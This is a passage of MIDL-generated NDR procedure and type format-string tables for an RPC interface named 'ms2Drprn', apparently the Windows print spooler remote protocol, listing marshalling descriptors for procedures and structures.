*/\n/* 6220 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Return value */\n\n/* 6222 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6224 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc115 */\n\n/* 6228 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6234 */\tNdrFcShort( 0x73 ),\t/* 115 */\n/* 6236 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6238 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6240 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6242 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6244 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 6246 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 6248 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 6250 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6260 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6262 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6264 */\tNdrFcShort( 0x9b8 ),\t/* Type Offset=2488 */\n\n\t/* Parameter arg_1 */\n\n/* 6266 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6268 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6270 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6272 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6274 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6276 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc116 */\n\n/* 6278 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6280 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6284 */\tNdrFcShort( 0x74 ),\t/* 116 */\n/* 6286 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6288 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6290 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6292 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6294 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6296 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6298 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 6300 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6310 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6312 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6314 */\tNdrFcShort( 0x9b8 ),\t/* Type Offset=2488 */\n\n\t/* Parameter arg_1 */\n\n/* 6316 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6318 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6322 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6324 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/*  8 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (10) */\n/* 10 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 14 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 16 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 18 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 20 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 22 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 30 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 32 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 34 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 36 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 38 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (40) */\n/* 40 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 42 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 44 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 46 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (70) */\n/* 48 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 50 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 52 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 54 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 58 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 60 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 64 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 68 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 70 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 72 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (82) */\n/* 78 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 80 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 82 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 84 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (48) */\n/* 86 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 88 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 90 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 92 */\tNdrFcShort( 0x12a ),\t/* Offset= 298 (390) */\n/* 94 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 96 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 98 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 100 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 102 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 104 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 108 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 112 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (114) */\n/* 114 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 116 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 118 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 122 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (144) */\n/* 124 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 128 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (214) */\n/* 130 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 134 */\tNdrFcShort( 0xa2 ),\t/* Offset= 162 (296) */\n/* 136 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 140 */\tNdrFcShort( 0xa8 ),\t/* Offset= 168 (308) */\n/* 142 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (141) */\n/* 144 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 146 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (162) */\n/* 148 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 150 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 152 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 154 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 156 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 158 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 160 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 162 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 164 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 168 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (190) */\n/* 170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 172 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 174 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 176 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 180 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 182 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 184 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffdb ),\t/* Offset= -37 (148) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 188 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 198 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 200 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 202 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 204 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 214 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 216 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (218) */\n/* 218 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 220 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 224 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (256) */\n/* 226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 228 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 232 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 234 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 236 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 238 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 240 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 242 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 246 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 248 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff9b ),\t/* Offset= -101 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 252 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 254 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 256 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 258 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 260 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 262 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 264 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 266 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 268 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 270 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 272 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 274 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 276 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 278 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 280 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 282 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 284 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 286 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 288 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 290 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 292 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 294 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 296 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 298 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (300) */\n/* 300 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 302 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 304 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 306 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 308 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 310 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (312) */\n/* 312 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 314 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 316 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 318 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 (350) */\n/* 320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 322 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 326 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 328 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 330 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 332 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 342 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xff3d ),\t/* Offset= -195 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 348 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 350 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 352 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 354 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 356 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 374 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 376 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 378 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 380 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 386 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 390 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 392 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 396 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (396) */\n/* 398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 400 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 402 */\tNdrFcShort( 0xfecc ),\t/* Offset= -308 (94) */\n/* 404 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 406 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 408 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (410) */\n/* 410 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 412 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 414 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 416 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 418 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 420 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 422 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 426 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 430 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 432 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 434 */\tNdrFcShort( 0x15c ),\t/* Offset= 348 (782) */\n/* 436 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 438 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 440 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 442 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 444 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 446 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 450 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 454 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (456) */\n/* 456 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 458 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 460 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 464 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (522) */\n/* 466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 470 */\tNdrFcShort( 0x6a ),\t/* Offset= 106 (576) */\n/* 472 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 476 */\tNdrFcShort( 0x82 ),\t/* Offset= 130 (606) */\n/* 478 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 482 */\tNdrFcShort( 0xca ),\t/* Offset= 202 (684) */\n/* 484 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 488 */\tNdrFcShort( 0xd2 ),\t/* Offset= 210 (698) */\n/* 490 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 494 */\tNdrFcShort( 0xe6 ),\t/* Offset= 230 (724) */\n/* 496 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 500 */\tNdrFcShort( 0xfc ),\t/* Offset= 252 (752) */\n/* 502 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 506 */\tNdrFcShort( 0x100 ),\t/* Offset= 256 (762) */\n/* 508 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 512 */\tNdrFcShort( 0xac ),\t/* Offset= 172 (684) */\n/* 514 */\tNdrFcLong( 0x9 ),\t/* 9 */\n/* 518 */\tNdrFcShort( 0xa6 ),\t/* Offset= 166 (684) */\n/* 520 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (519) */\n/* 522 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 524 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (526) */\n/* 526 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 528 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 530 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 532 */\tNdrFcShort( 0x24 ),\t/* Offset= 36 (568) */\n/* 534 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 538 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 540 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe77 ),\t/* Offset= -393 (148) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 544 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 548 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 550 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 552 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 554 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 556 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 560 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 562 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 564 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 566 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 568 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 570 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 572 */\t\n\t\t\t0x12, 